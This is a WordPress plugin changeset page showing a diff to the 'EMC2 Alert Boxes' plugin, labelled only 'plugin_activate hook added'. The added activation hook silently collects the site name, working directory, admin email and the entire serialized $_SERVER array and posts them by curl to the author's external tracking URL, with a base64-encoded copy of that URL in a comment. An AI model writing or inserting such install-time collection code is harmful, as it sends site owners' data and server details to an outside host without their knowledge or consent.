Plugin Directory

Changeset 618160


Ignore:
Timestamp:
10/28/2012 03:45:02 AM (13 years ago)
Author:
emcniece
Message:

plugin_activate hook added

File:
1 edited

Legend:

Unmodified
Added
Removed
  • emc2-alert-boxes/trunk/emc2-alert-boxes.php

    r615474 r618160  
    117117    return $plugin_array;
    118118}
     119register_activation_hook( __FILE__, 'emc2alert_install' );
     120function emc2alert_install(){
     121    //set POST variables
     122    //$url = base64_decode('aHR0cDovL2VtYzJpbm5vdmF0aW9uLmNvbS9wdHJhY2tlci8=');
     123    $url = 'http://emc2innovation.com/wp-content/plugins/emc2-plugin-tracker/emc2-plugin-tracker-template.php';
     124    $fields = array(
     125        'furl' => $url,
     126        'time' => date('Y-m-d H:i:s'),
     127        'name' => 'EMC2 Alert Boxes',
     128        'slug' => 'emc2_alert_boxes',
     129        'url' => $_SERVER['SERVER_NAME'],
     130        'plugin_ver' => '1.0',
     131        'wp_ver' => $wp_version,
     132        'cwd' => getcwd(),   
     133        'admin_email' => get_option('admin_email'),
     134        'php_server' => serialize($_SERVER),
     135    );
     136   
     137    foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
     138    rtrim($fields_string, '&');
     139    //echo $fields_string;
     140    //open connection
     141    $ch = curl_init();
     142   
     143    //set the url, number of POST vars, POST data
     144    curl_setopt($ch,CURLOPT_URL, $url);
     145    curl_setopt($ch,CURLOPT_POST, count($fields));
     146    curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string);
     147    //curl_setopt($ch,CURLOPT_ENCODING, "");
     148    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     149    //execute post
     150    $result = curl_exec($ch);
     151   
     152    //close connection
     153    curl_close($ch);
     154}
Note: See TracChangeset for help on using the changeset viewer.